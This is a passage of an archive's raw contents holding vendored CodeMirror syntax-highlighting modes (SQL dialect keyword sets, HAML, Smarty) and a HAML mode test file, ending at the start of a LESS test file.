      // no highlightning
      return null;
    } else if (support.commentSlashSlash && ch == "/" && stream.eat("/")) {
      // 1-line comment
      stream.skipToEnd();
      return "comment";
    } else if ((support.commentHash && ch == "#")
        || (ch == "-" && stream.eat("-") && (!support.commentSpaceRequired || stream.eat(" ")))) {
      // 1-line comments
      // ref: https://kb.askmonty.org/en/comment-syntax/
      stream.skipToEnd();
      return "comment";
    } else if (ch == "/" && stream.eat("*")) {
      // multi-line comments
      // ref: https://kb.askmonty.org/en/comment-syntax/
      state.tokenize = tokenComment;
      return state.tokenize(stream, state);
    } else if (ch == ".") {
      // .1 for 0.1
      if (support.zerolessFloat == true && stream.match(/^(?:\d+(?:e[+-]?\d+)?)/i)) {
        return "number";
      }
      // .table_name (ODBC)
      // // ref: http://dev.mysql.com/doc/refman/5.6/en/identifier-qualifiers.html
      if (support.ODBCdotTable == true && stream.match(/^[a-zA-Z_]+/)) {
        return "variable-2";
      }
    } else if (operatorChars.test(ch)) {
      // operators
      stream.eatWhile(operatorChars);
      return null;
    } else if (ch == '{' &&
        (stream.match(/^( )*(d|D|t|T|ts|TS)( )*'[^']*'( )*}/) || stream.match(/^( )*(d|D|t|T|ts|TS)( )*"[^"]*"( )*}/))) {
      // dates (weird ODBC syntax)
      // ref: http://dev.mysql.com/doc/refman/5.5/en/date-and-time-literals.html
      return "number";
    } else {
      stream.eatWhile(/^[_\w\d]/);
      var word = stream.current().toLowerCase();
      // dates (standard SQL syntax)
      // ref: http://dev.mysql.com/doc/refman/5.5/en/date-and-time-literals.html
      if (dateSQL.hasOwnProperty(word) && (stream.match(/^( )+'[^']*'/) || stream.match(/^( )+"[^"]*"/)))
        return "number";
      if (atoms.hasOwnProperty(word)) return "atom";
      if (builtin.hasOwnProperty(word)) return "builtin";
      if (keywords.hasOwnProperty(word)) return "keyword";
      if (client.hasOwnProperty(word)) return "string-2";
      return null;
    }
  }

  // 'string', with char specified in quote escaped by '\'
  function tokenLiteral(quote) {
    return function(stream, state) {
      var escaped = false, ch;
      while ((ch = stream.next()) != null) {
        if (ch == quote && !escaped) {
          state.tokenize = tokenBase;
          break;
        }
        escaped = !escaped && ch == "\\";
      }
      return "string";
    };
  }
  function tokenComment(stream, state) {
    while (true) {
      if (stream.skipTo("*")) {
        stream.next();
        if (stream.eat("/")) {
          state.tokenize = tokenBase;
          break;
        }
      } else {
        stream.skipToEnd();
        break;
      }
    }
    return "comment";
  }

  function pushContext(stream, state, type) {
    state.context = {
      prev: state.context,
      indent: stream.indentation(),
      col: stream.column(),
      type: type
    };
  }

  function popContext(state) {
    state.indent = state.context.indent;
    state.context = state.context.prev;
  }

  return {
    startState: function() {
      return {tokenize: tokenBase, context: null};
    },

    token: function(stream, state) {
      if (stream.sol()) {
        if (state.context && state.context.align == null)
          state.context.align = false;
      }
      if (stream.eatSpace()) return null;

      var style = state.tokenize(stream, state);
      if (style == "comment") return style;

      if (state.context && state.context.align == null)
        state.context.align = true;

      var tok = stream.current();
      if (tok == "(")
        pushContext(stream, state, ")");
      else if (tok == "[")
        pushContext(stream, state, "]");
      else if (state.context && state.context.type == tok)
        popContext(state);
      return style;
    },

    indent: function(state, textAfter) {
      var cx = state.context;
      if (!cx) return CodeMirror.Pass;
      var closing = textAfter.charAt(0) == cx.type;
      if (cx.align) return cx.col + (closing ? 0 : 1);
      else return cx.indent + (closing ? 0 : config.indentUnit);
    },

    blockCommentStart: "/*",
    blockCommentEnd: "*/",
    lineComment: support.commentSlashSlash ? "//" : support.commentHash ? "#" : null
  };
});

(function() {
  "use strict";

  // `identifier`
  function hookIdentifier(stream) {
    // MySQL/MariaDB identifiers
    // ref: http://dev.mysql.com/doc/refman/5.6/en/identifier-qualifiers.html
    var ch;
    while ((ch = stream.next()) != null) {
      if (ch == "`" && !stream.eat("`")) return "variable-2";
    }
    stream.backUp(stream.current().length - 1);
    return stream.eatWhile(/\w/) ? "variable-2" : null;
  }

  // variable token
  function hookVar(stream) {
    // variables
    // @@prefix.varName @varName
    // varName can be quoted with ` or ' or "
    // ref: http://dev.mysql.com/doc/refman/5.5/en/user-variables.html
    if (stream.eat("@")) {
      stream.match(/^session\./);
      stream.match(/^local\./);
      stream.match(/^global\./);
    }

    if (stream.eat("'")) {
      stream.match(/^.*'/);
      return "variable-2";
    } else if (stream.eat('"')) {
      stream.match(/^.*"/);
      return "variable-2";
    } else if (stream.eat("`")) {
      stream.match(/^.*`/);
      return "variable-2";
    } else if (stream.match(/^[0-9a-zA-Z$\.\_]+/)) {
      return "variable-2";
    }
    return null;
  };

  // short client keyword token
  function hookClient(stream) {
    // \N means NULL
    // ref: http://dev.mysql.com/doc/refman/5.5/en/null-values.html
    if (stream.eat("N")) {
        return "atom";
    }
    // \g, etc
    // ref: http://dev.mysql.com/doc/refman/5.5/en/mysql-commands.html
    return stream.match(/^[a-zA-Z.#!?]/) ? "variable-2" : null;
  }

  // these keywords are used by all SQL dialects (however, a mode can still overwrite it)
  var sqlKeywords = "alter and as asc between by count create delete desc distinct drop from group having in insert into is join like not on or order select set table union update values where limit";

  // turn a space-separated list into an array
  function set(str) {
    var obj = {}, words = str.split(" ");
    for (var i = 0; i < words.length; ++i) obj[words[i]] = true;
    return obj;
  }

  // A generic SQL Mode. It's not a standard, it just try to support what is generally supported
  CodeMirror.defineMIME("text/x-sql", {
    name: "sql",
    keywords: set(sqlKeywords + "begin"),
    builtin: set("bool boolean bit blob enum long longblob longtext medium mediumblob mediumint mediumtext time timestamp tinyblob tinyint tinytext text bigint int int1 int2 int3 int4 int8 integer float float4 float8 double char varbinary varchar varcharacter precision real date datetime year unsigned signed decimal numeric"),
    atoms: set("false true null unknown"),
    operatorChars: /^[*+\-%<>!=]/,
    dateSQL: set("date time timestamp"),
    support: set("ODBCdotTable doubleQuote binaryNumber hexNumber")
  });

  CodeMirror.defineMIME("text/x-mssql", {
    name: "sql",
    client: set("charset clear connect edit ego exit go help nopager notee nowarning pager print prompt quit rehash source status system tee"),
    keywords: set(sqlKeywords + "begin trigger proc view index for add constraint key primary foreign collate clustered nonclustered declare"),
    builtin: set("bigint numeric bit smallint decimal smallmoney int tinyint money float real char varchar text nchar nvarchar ntext binary varbinary image cursor timestamp hierarchyid uniqueidentifier sql_variant xml table "),
    atoms: set("false true null unknown"),
    operatorChars: /^[*+\-%<>!=]/,
    dateSQL: set("date datetimeoffset datetime2 smalldatetime datetime time"),
    hooks: {
      "@":   hookVar
    }
  });

  CodeMirror.defineMIME("text/x-mysql", {
    name: "sql",
    client: set("charset clear connect edit ego exit go help nopager notee nowarning pager print prompt quit rehash source status system tee"),
    keywords: set(sqlKeywords + "accessible action add after algorithm all analyze asensitive at authors auto_increment autocommit avg avg_row_length before binary binlog both btree cache call cascade cascaded case catalog_name chain change changed character check checkpoint checksum class_origin client_statistics close coalesce code collate collation collations column columns comment commit committed completion concurrent condition connection consistent constraint contains continue contributors convert cross current current_date current_time current_timestamp current_user cursor data database databases day_hour day_microsecond day_minute day_second deallocate dec declare default delay_key_write delayed delimiter des_key_file describe deterministic dev_pop dev_samp deviance diagnostics directory disable discard distinctrow div dual dumpfile each elseif enable enclosed end ends engine engines enum errors escape escaped even event events every execute exists exit explain extended fast fetch field fields first flush for force foreign found_rows full fulltext function general get global grant grants group group_concat handler hash help high_priority hosts hour_microsecond hour_minute hour_second if ignore ignore_server_ids import index index_statistics infile inner innodb inout insensitive insert_method install interval invoker isolation iterate key keys kill language last leading leave left level limit linear lines list load local localtime localtimestamp lock logs low_priority master master_heartbeat_period master_ssl_verify_server_cert masters match max max_rows maxvalue message_text middleint migrate min min_rows minute_microsecond minute_second mod mode modifies modify mutex mysql_errno natural next no no_write_to_binlog offline offset one online open optimize option optionally out outer outfile pack_keys parser partition partitions password phase plugin plugins prepare preserve prev primary privileges procedure processlist profile profiles purge query quick range read read_write reads real rebuild recover references regexp relaylog release remove rename reorganize repair repeatable replace require resignal restrict resume return returns revoke right rlike rollback rollup row row_format rtree savepoint schedule schema schema_name schemas second_microsecond security sensitive separator serializable server session share show signal slave slow smallint snapshot soname spatial specific sql sql_big_result sql_buffer_result sql_cache sql_calc_found_rows sql_no_cache sql_small_result sqlexception sqlstate sqlwarning ssl start starting starts status std stddev stddev_pop stddev_samp storage straight_join subclass_origin sum suspend table_name table_statistics tables tablespace temporary terminated to trailing transaction trigger triggers truncate uncommitted undo uninstall unique unlock upgrade usage use use_frm user user_resources user_statistics using utc_date utc_time utc_timestamp value variables varying view views warnings when while with work write xa xor year_month zerofill begin do then else loop repeat"),
    builtin: set("bool boolean bit blob decimal double float long longblob longtext medium mediumblob mediumint mediumtext time timestamp tinyblob tinyint tinytext text bigint int int1 int2 int3 int4 int8 integer float float4 float8 double char varbinary varchar varcharacter precision date datetime year unsigned signed numeric"),
    atoms: set("false true null unknown"),
    operatorChars: /^[*+\-%<>!=&|^]/,
    dateSQL: set("date time timestamp"),
    support: set("ODBCdotTable decimallessFloat zerolessFloat binaryNumber hexNumber doubleQuote nCharCast charsetCast commentHash commentSpaceRequired"),
    hooks: {
      "@":   hookVar,
      "`":   hookIdentifier,
      "\\":  hookClient
    }
  });

  CodeMirror.defineMIME("text/x-mariadb", {
    name: "sql",
    client: set("charset clear connect edit ego exit go help nopager notee nowarning pager print prompt quit rehash source status system tee"),
    keywords: set(sqlKeywords + "accessible action add after algorithm all always analyze asensitive at authors auto_increment autocommit avg avg_row_length before binary binlog both btree cache call cascade cascaded case catalog_name chain change changed character check checkpoint checksum class_origin client_statistics close coalesce code collate collation collations column columns comment commit committed completion concurrent condition connection consistent constraint contains continue contributors convert cross current current_date current_time current_timestamp current_user cursor data database databases day_hour day_microsecond day_minute day_second deallocate dec declare default delay_key_write delayed delimiter des_key_file describe deterministic dev_pop dev_samp deviance diagnostics directory disable discard distinctrow div dual dumpfile each elseif enable enclosed end ends engine engines enum errors escape escaped even event events every execute exists exit explain extended fast fetch field fields first flush for force foreign found_rows full fulltext function general generated get global grant grants group groupby_concat handler hard hash help high_priority hosts hour_microsecond hour_minute hour_second if ignore ignore_server_ids import index index_statistics infile inner innodb inout insensitive insert_method install interval invoker isolation iterate key keys kill language last leading leave left level limit linear lines list load local localtime localtimestamp lock logs low_priority master master_heartbeat_period master_ssl_verify_server_cert masters match max max_rows maxvalue message_text middleint migrate min min_rows minute_microsecond minute_second mod mode modifies modify mutex mysql_errno natural next no no_write_to_binlog offline offset one online open optimize option optionally out outer outfile pack_keys parser partition partitions password persistent phase plugin plugins prepare preserve prev primary privileges procedure processlist profile profiles purge query quick range read read_write reads real rebuild recover references regexp relaylog release remove rename reorganize repair repeatable replace require resignal restrict resume return returns revoke right rlike rollback rollup row row_format rtree savepoint schedule schema schema_name schemas second_microsecond security sensitive separator serializable server session share show shutdown signal slave slow smallint snapshot soft soname spatial specific sql sql_big_result sql_buffer_result sql_cache sql_calc_found_rows sql_no_cache sql_small_result sqlexception sqlstate sqlwarning ssl start starting starts status std stddev stddev_pop stddev_samp storage straight_join subclass_origin sum suspend table_name table_statistics tables tablespace temporary terminated to trailing transaction trigger triggers truncate uncommitted undo uninstall unique unlock upgrade usage use use_frm user user_resources user_statistics using utc_date utc_time utc_timestamp value variables varying view views virtual warnings when while with work write xa xor year_month zerofill begin do then else loop repeat"),
    builtin: set("bool boolean bit blob decimal double float long longblob longtext medium mediumblob mediumint mediumtext time timestamp tinyblob tinyint tinytext text bigint int int1 int2 int3 int4 int8 integer float float4 float8 double char varbinary varchar varcharacter precision date datetime year unsigned signed numeric"),
    atoms: set("false true null unknown"),
    operatorChars: /^[*+\-%<>!=&|^]/,
    dateSQL: set("date time timestamp"),
    support: set("ODBCdotTable decimallessFloat zerolessFloat binaryNumber hexNumber doubleQuote nCharCast charsetCast commentHash commentSpaceRequired"),
    hooks: {
      "@":   hookVar,
      "`":   hookIdentifier,
      "\\":  hookClient
    }
  });

  // the query language used by Apache Cassandra is called CQL, but this mime type
  // is called Cassandra to avoid confusion with Contextual Query Language
  CodeMirror.defineMIME("text/x-cassandra", {
    name: "sql",
    client: { },
    keywords: set("add all allow alter and any apply as asc authorize batch begin by clustering columnfamily compact consistency count create custom delete desc distinct drop each_quorum exists filtering from grant if in index insert into key keyspace keyspaces level limit local_one local_quorum modify nan norecursive nosuperuser not of on one order password permission permissions primary quorum rename revoke schema select set storage superuser table three to token truncate ttl two type unlogged update use user users using values where with writetime"),
    builtin: set("ascii bigint blob boolean counter decimal double float frozen inet int list map static text timestamp timeuuid tuple uuid varchar varint"),
    atoms: set("false true infinity NaN"),
    operatorChars: /^[<>=]/,
    dateSQL: { },
    support: set("commentSlashSlash decimallessFloat"),
    hooks: { }
  });

  // this is based on Peter Raganitsch's 'plsql' mode
  CodeMirror.defineMIME("text/x-plsql", {
    name:       "sql",
    client:     set("appinfo arraysize autocommit autoprint autorecovery autotrace blockterminator break btitle cmdsep colsep compatibility compute concat copycommit copytypecheck define describe echo editfile embedded escape exec execute feedback flagger flush heading headsep instance linesize lno loboffset logsource long longchunksize markup native newpage numformat numwidth pagesize pause pno recsep recsepchar release repfooter repheader serveroutput shiftinout show showmode size spool sqlblanklines sqlcase sqlcode sqlcontinue sqlnumber sqlpluscompatibility sqlprefix sqlprompt sqlterminator suffix tab term termout time timing trimout trimspool ttitle underline verify version wrap"),
    keywords:   set("abort accept access add all alter and any array arraylen as asc assert assign at attributes audit authorization avg base_table begin between binary_integer body boolean by case cast char char_base check close cluster clusters colauth column comment commit compress connect connected constant constraint crash create current currval cursor data_base database date dba deallocate debugoff debugon decimal declare default definition delay delete desc digits dispose distinct do drop else elseif elsif enable end entry escape exception exception_init exchange exclusive exists exit external fast fetch file for force form from function generic goto grant group having identified if immediate in increment index indexes indicator initial initrans insert interface intersect into is key level library like limited local lock log logging long loop master maxextents maxtrans member minextents minus mislabel mode modify multiset new next no noaudit nocompress nologging noparallel not nowait number_base object of off offline on online only open option or order out package parallel partition pctfree pctincrease pctused pls_integer positive positiven pragma primary prior private privileges procedure public raise range raw read rebuild record ref references refresh release rename replace resource restrict return returning returns reverse revoke rollback row rowid rowlabel rownum rows run savepoint schema segment select separate session set share snapshot some space split sql start statement storage subtype successful synonym tabauth table tables tablespace task terminate then to trigger truncate type union unique unlimited unrecoverable unusable update use using validate value values variable view views when whenever where while with work"),
    builtin:    set("abs acos add_months ascii asin atan atan2 average bfile bfilename bigserial bit blob ceil character chartorowid chr clob concat convert cos cosh count dec decode deref dual dump dup_val_on_index empty error exp false float floor found glb greatest hextoraw initcap instr instrb int integer isopen last_day least lenght lenghtb ln lower lpad ltrim lub make_ref max min mlslabel mod months_between natural naturaln nchar nclob new_time next_day nextval nls_charset_decl_len nls_charset_id nls_charset_name nls_initcap nls_lower nls_sort nls_upper nlssort no_data_found notfound null number numeric nvarchar2 nvl others power rawtohex real reftohex round rowcount rowidtochar rowtype rpad rtrim serial sign signtype sin sinh smallint soundex sqlcode sqlerrm sqrt stddev string substr substrb sum sysdate tan tanh to_char text to_date to_label to_multi_byte to_number to_single_byte translate true trunc uid unlogged upper user userenv varchar varchar2 variance varying vsize xml"),
    operatorChars: /^[*+\-%<>!=~]/,
    dateSQL:    set("date time timestamp"),
    support:    set("doubleQuote nCharCast zerolessFloat binaryNumber hexNumber")
  });

  // Created to support specific hive keywords
  CodeMirror.defineMIME("text/x-hive", {
    name: "sql",
    keywords: set("select alter $elem$ $key$ $value$ add after all analyze and archive as asc before between binary both bucket buckets by cascade case cast change cluster clustered clusterstatus collection column columns comment compute concatenate continue create cross cursor data database databases dbproperties deferred delete delimited desc describe directory disable distinct distribute drop else enable end escaped exclusive exists explain export extended external false fetch fields fileformat first format formatted from full function functions grant group having hold_ddltime idxproperties if import in index indexes inpath inputdriver inputformat insert intersect into is items join keys lateral left like limit lines load local location lock locks mapjoin materialized minus msck no_drop nocompress not of offline on option or order out outer outputdriver outputformat overwrite partition partitioned partitions percent plus preserve procedure purge range rcfile read readonly reads rebuild recordreader recordwriter recover reduce regexp rename repair replace restrict revoke right rlike row schema schemas semi sequencefile serde serdeproperties set shared show show_database sort sorted ssl statistics stored streamtable table tables tablesample tblproperties temporary terminated textfile then tmp to touch transform trigger true unarchive undo union uniquejoin unlock update use using utc utc_tmestamp view when where while with"),
    builtin: set("bool boolean long timestamp tinyint smallint bigint int float double date datetime unsigned string array struct map uniontype"),
    atoms: set("false true null unknown"),
    operatorChars: /^[*+\-%<>!=]/,
    dateSQL: set("date timestamp"),
    support: set("ODBCdotTable doubleQuote binaryNumber hexNumber")
  });
}());

});

/*
  How Properties of Mime Types are used by SQL Mode
  =================================================

  keywords:
    A list of keywords you want to be highlighted.
  builtin:
    A list of builtin types you want to be highlighted (if you want types to be of class "builtin" instead of "keyword").
  operatorChars:
    All characters that must be handled as operators.
  client:
    Commands parsed and executed by the client (not the server).
  support:
    A list of supported syntaxes which are not common, but are supported by more than 1 DBMS.
    * ODBCdotTable: .tableName
    * zerolessFloat: .1
    * doubleQuote
    * nCharCast: N'string'
    * charsetCast: _utf8'string'
    * commentHash: use # char for comments
    * commentSlashSlash: use // for comments
    * commentSpaceRequired: require a space after -- for comments
  atoms:
    Keywords that must be highlighted as atoms,. Some DBMS's support more atoms than others:
    UNKNOWN, INFINITY, UNDERFLOW, NaN...
  dateSQL:
    Used for date/time SQL standard syntax, because not all DBMS's support same temporal types.
*/
PK     0w\'A)    B  customizer/framework/assets/js/vendor/codemirror/mode/haml/haml.jsnu [        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module == "object") // CommonJS
    mod(require("../../lib/codemirror"), require("../htmlmixed/htmlmixed"), require("../ruby/ruby"));
  else if (typeof define == "function" && define.amd) // AMD
    define(["../../lib/codemirror", "../htmlmixed/htmlmixed", "../ruby/ruby"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
"use strict";

  // full haml mode. This handled embeded ruby and html fragments too
  CodeMirror.defineMode("haml", function(config) {
    var htmlMode = CodeMirror.getMode(config, {name: "htmlmixed"});
    var rubyMode = CodeMirror.getMode(config, "ruby");

    function rubyInQuote(endQuote) {
      return function(stream, state) {
        var ch = stream.peek();
        if (ch == endQuote && state.rubyState.tokenize.length == 1) {
          // step out of ruby context as it seems to complete processing all the braces
          stream.next();
          state.tokenize = html;
          return "closeAttributeTag";
        } else {
          return ruby(stream, state);
        }
      };
    }

    function ruby(stream, state) {
      if (stream.match("-#")) {
        stream.skipToEnd();
        return "comment";
      }
      return rubyMode.token(stream, state.rubyState);
    }

    function html(stream, state) {
      var ch = stream.peek();

      // handle haml declarations. All declarations that cant be handled here
      // will be passed to html mode
      if (state.previousToken.style == "comment" ) {
        if (state.indented > state.previousToken.indented) {
          stream.skipToEnd();
          return "commentLine";
        }
      }

      if (state.startOfLine) {
        if (ch == "!" && stream.match("!!")) {
          stream.skipToEnd();
          return "tag";
        } else if (stream.match(/^%[\w:#\.]+=/)) {
          state.tokenize = ruby;
          return "hamlTag";
        } else if (stream.match(/^%[\w:]+/)) {
          return "hamlTag";
        } else if (ch == "/" ) {
          stream.skipToEnd();
          return "comment";
        }
      }

      if (state.startOfLine || state.previousToken.style == "hamlTag") {
        if ( ch == "#" || ch == ".") {
          stream.match(/[\w-#\.]*/);
          return "hamlAttribute";
        }
      }

      // donot handle --> as valid ruby, make it HTML close comment instead
      if (state.startOfLine && !stream.match("-->", false) && (ch == "=" || ch == "-" )) {
        state.tokenize = ruby;
        return state.tokenize(stream, state);
      }

      if (state.previousToken.style == "hamlTag" ||
          state.previousToken.style == "closeAttributeTag" ||
          state.previousToken.style == "hamlAttribute") {
        if (ch == "(") {
          state.tokenize = rubyInQuote(")");
          return state.tokenize(stream, state);
        } else if (ch == "{") {
          if (!stream.match(/^\{%.*/)) {
            state.tokenize = rubyInQuote("}");
            return state.tokenize(stream, state);
          }
        }
      }

      return htmlMode.token(stream, state.htmlState);
    }

    return {
      // default to html mode
      startState: function() {
        var htmlState = htmlMode.startState();
        var rubyState = rubyMode.startState();
        return {
          htmlState: htmlState,
          rubyState: rubyState,
          indented: 0,
          previousToken: { style: null, indented: 0},
          tokenize: html
        };
      },

      copyState: function(state) {
        return {
          htmlState : CodeMirror.copyState(htmlMode, state.htmlState),
          rubyState: CodeMirror.copyState(rubyMode, state.rubyState),
          indented: state.indented,
          previousToken: state.previousToken,
          tokenize: state.tokenize
        };
      },

      token: function(stream, state) {
        if (stream.sol()) {
          state.indented = stream.indentation();
          state.startOfLine = true;
        }
        if (stream.eatSpace()) return null;
        var style = state.tokenize(stream, state);
        state.startOfLine = false;
        // dont record comment line as we only want to measure comment line with
        // the opening comment block
        if (style && style != "commentLine") {
          state.previousToken = { style: style, indented: state.indented };
        }
        // if current state is ruby and the previous token is not `,` reset the
        // tokenize to html
        if (stream.eol() && state.tokenize == ruby) {
          stream.backUp(1);
          var ch = stream.peek();
          stream.next();
          if (ch && ch != ",") {
            state.tokenize = html;
          }
        }
        // reprocess some of the specific style tag when finish setting previousToken
        if (style == "hamlTag") {
          style = "tag";
        } else if (style == "commentLine") {
          style = "comment";
        } else if (style == "hamlAttribute") {
          style = "attribute";
        } else if (style == "closeAttributeTag") {
          style = null;
        }
        return style;
      }
    };
  }, "htmlmixed", "ruby");

  CodeMirror.defineMIME("text/x-haml", "haml");
});
PK     0w\Q#    B  customizer/framework/assets/js/vendor/codemirror/mode/haml/test.jsnu [        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

(function() {
  var mode = CodeMirror.getMode({tabSize: 4, indentUnit: 2}, "haml");
  function MT(name) { test.mode(name, mode, Array.prototype.slice.call(arguments, 1)); }

  // Requires at least one media query
  MT("elementName",
     "[tag %h1] Hey There");

  MT("oneElementPerLine",
     "[tag %h1] Hey There %h2");

  MT("idSelector",
     "[tag %h1][attribute #test] Hey There");

  MT("classSelector",
     "[tag %h1][attribute .hello] Hey There");

  MT("docType",
     "[tag !!! XML]");

  MT("comment",
     "[comment / Hello WORLD]");

  MT("notComment",
     "[tag %h1] This is not a / comment ");

  MT("attributes",
     "[tag %a]([variable title][operator =][string \"test\"]){[atom :title] [operator =>] [string \"test\"]}");

  MT("htmlCode",
     "[tag&bracket <][tag h1][tag&bracket >]Title[tag&bracket </][tag h1][tag&bracket >]");

  MT("rubyBlock",
     "[operator =][variable-2 @item]");

  MT("selectorRubyBlock",
     "[tag %a.selector=] [variable-2 @item]");

  MT("nestedRubyBlock",
      "[tag %a]",
      "   [operator =][variable puts] [string \"test\"]");

  MT("multilinePlaintext",
      "[tag %p]",
      "  Hello,",
      "  World");

  MT("multilineRuby",
      "[tag %p]",
      "  [comment -# this is a comment]",
      "     [comment and this is a comment too]",
      "  Date/Time",
      "  [operator -] [variable now] [operator =] [tag DateTime][operator .][property now]",
      "  [tag %strong=] [variable now]",
      "  [operator -] [keyword if] [variable now] [operator >] [tag DateTime][operator .][property parse]([string \"December 31, 2006\"])",
      "     [operator =][string \"Happy\"]",
      "     [operator =][string \"Belated\"]",
      "     [operator =][string \"Birthday\"]");

  MT("multilineComment",
      "[comment /]",
      "  [comment Multiline]",
      "  [comment Comment]");

  MT("hamlComment",
     "[comment -# this is a comment]");

  MT("multilineHamlComment",
     "[comment -# this is a comment]",
     "   [comment and this is a comment too]");

  MT("multilineHTMLComment",
    "[comment <!--]",
    "  [comment what a comment]",
    "  [comment -->]");

  MT("hamlAfterRubyTag",
    "[attribute .block]",
    "  [tag %strong=] [variable now]",
    "  [attribute .test]",
    "     [operator =][variable now]",
    "  [attribute .right]");

  MT("stretchedRuby",
     "[operator =] [variable puts] [string \"Hello\"],",
     "   [string \"World\"]");

  MT("interpolationInHashAttribute",
     //"[tag %div]{[atom :id] [operator =>] [string \"#{][variable test][string }_#{][variable ting][string }\"]} test");
     "[tag %div]{[atom :id] [operator =>] [string \"#{][variable test][string }_#{][variable ting][string }\"]} test");

  MT("interpolationInHTMLAttribute",
     "[tag %div]([variable title][operator =][string \"#{][variable test][string }_#{][variable ting]()[string }\"]) Test");
})();
PK     0w\9    F  customizer/framework/assets/js/vendor/codemirror/mode/smarty/smarty.jsnu [        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

/**
 * Smarty 2 and 3 mode.
 */

(function(mod) {
  if (typeof exports == "object" && typeof module == "object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) // AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  "use strict";

  CodeMirror.defineMode("smarty", function(config, parserConf) {
    var rightDelimiter = parserConf.rightDelimiter || "}";
    var leftDelimiter = parserConf.leftDelimiter || "{";
    var version = parserConf.version || 2;
    var baseMode = CodeMirror.getMode(config, parserConf.baseMode || "null");

    var keyFunctions = ["debug", "extends", "function", "include", "literal"];
    var regs = {
      operatorChars: /[+\-*&%=<>!?]/,
      validIdentifier: /[a-zA-Z0-9_]/,
      stringChar: /['"]/
    };

    var last;
    function cont(style, lastType) {
      last = lastType;
      return style;
    }

    function chain(stream, state, parser) {
      state.tokenize = parser;
      return parser(stream, state);
    }

    // Smarty 3 allows { and } surrounded by whitespace to NOT slip into Smarty mode
    function doesNotCount(stream, pos) {
      if (pos == null) pos = stream.pos;
      return version === 3 && leftDelimiter == "{" &&
        (pos == stream.string.length || /\s/.test(stream.string.charAt(pos)));
    }

    function tokenTop(stream, state) {
      var string = stream.string;
      for (var scan = stream.pos;;) {
        var nextMatch = string.indexOf(leftDelimiter, scan);
        scan = nextMatch + leftDelimiter.length;
        if (nextMatch == -1 || !doesNotCount(stream, nextMatch + leftDelimiter.length)) break;
      }
      if (nextMatch == stream.pos) {
        stream.match(leftDelimiter);
        if (stream.eat("*")) {
          return chain(stream, state, tokenBlock("comment", "*" + rightDelimiter));
        } else {
          state.depth++;
          state.tokenize = tokenSmarty;
          last = "startTag";
          return "tag";
        }
      }

      if (nextMatch > -1) stream.string = string.slice(0, nextMatch);
      var token = baseMode.token(stream, state.base);
      if (nextMatch > -1) stream.string = string;
      return token;
    }

    // parsing Smarty content
    function tokenSmarty(stream, state) {
      if (stream.match(rightDelimiter, true)) {
        if (version === 3) {
          state.depth--;
          if (state.depth <= 0) {
            state.tokenize = tokenTop;
          }
        } else {
          state.tokenize = tokenTop;
        }
        return cont("tag", null);
      }

      if (stream.match(leftDelimiter, true)) {
        state.depth++;
        return cont("tag", "startTag");
      }

      var ch = stream.next();
      if (ch == "$") {
        stream.eatWhile(regs.validIdentifier);
        return cont("variable-2", "variable");
      } else if (ch == "|") {
        return cont("operator", "pipe");
      } else if (ch == ".") {
        return cont("operator", "property");
      } else if (regs.stringChar.test(ch)) {
        state.tokenize = tokenAttribute(ch);
        return cont("string", "string");
      } else if (regs.operatorChars.test(ch)) {
        stream.eatWhile(regs.operatorChars);
        return cont("operator", "operator");
      } else if (ch == "[" || ch == "]") {
        return cont("bracket", "bracket");
      } else if (ch == "(" || ch == ")") {
        return cont("bracket", "operator");
      } else if (/\d/.test(ch)) {
        stream.eatWhile(/\d/);
        return cont("number", "number");
      } else {

        if (state.last == "variable") {
          if (ch == "@") {
            stream.eatWhile(regs.validIdentifier);
            return cont("property", "property");
          } else if (ch == "|") {
            stream.eatWhile(regs.validIdentifier);
            return cont("qualifier", "modifier");
          }
        } else if (state.last == "pipe") {
          stream.eatWhile(regs.validIdentifier);
          return cont("qualifier", "modifier");
        } else if (state.last == "whitespace") {
          stream.eatWhile(regs.validIdentifier);
          return cont("attribute", "modifier");
        } if (state.last == "property") {
          stream.eatWhile(regs.validIdentifier);
          return cont("property", null);
        } else if (/\s/.test(ch)) {
          last = "whitespace";
          return null;
        }

        var str = "";
        if (ch != "/") {
          str += ch;
        }
        var c = null;
        while (c = stream.eat(regs.validIdentifier)) {
          str += c;
        }
        for (var i=0, j=keyFunctions.length; i<j; i++) {
          if (keyFunctions[i] == str) {
            return cont("keyword", "keyword");
          }
        }
        if (/\s/.test(ch)) {
          return null;
        }
        return cont("tag", "tag");
      }
    }

    function tokenAttribute(quote) {
      return function(stream, state) {
        var prevChar = null;
        var currChar = null;
        while (!stream.eol()) {
          currChar = stream.peek();
          if (stream.next() == quote && prevChar !== '\\') {
            state.tokenize = tokenSmarty;
            break;
          }
          prevChar = currChar;
        }
        return "string";
      };
    }

    function tokenBlock(style, terminator) {
      return function(stream, state) {
        while (!stream.eol()) {
          if (stream.match(terminator)) {
            state.tokenize = tokenTop;
            break;
          }
          stream.next();
        }
        return style;
      };
    }

    return {
      startState: function() {
        return {
          base: CodeMirror.startState(baseMode),
          tokenize: tokenTop,
          last: null,
          depth: 0
        };
      },
      copyState: function(state) {
        return {
          base: CodeMirror.copyState(baseMode, state.base),
          tokenize: state.tokenize,
          last: state.last,
          depth: state.depth
        };
      },
      innerMode: function(state) {
        if (state.tokenize == tokenTop)
          return {mode: baseMode, state: state.base};
      },
      token: function(stream, state) {
        var style = state.tokenize(stream, state);
        state.last = last;
        return style;
      },
      indent: function(state, text) {
        if (state.tokenize == tokenTop && baseMode.indent)
          return baseMode.indent(state.base, text);
        else
          return CodeMirror.Pass;
      },
      blockCommentStart: leftDelimiter + "*",
      blockCommentEnd: "*" + rightDelimiter
    };
  });

  CodeMirror.defineMIME("text/x-smarty", "smarty");
});
PK     0w\J'W  W  F  customizer/framework/assets/js/vendor/codemirror/mode/css/less_test.jsnu [        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

(function() {
  "use strict";

  var mode = CodeMirror.getMode({indentUnit: 2}, "text/x-less");
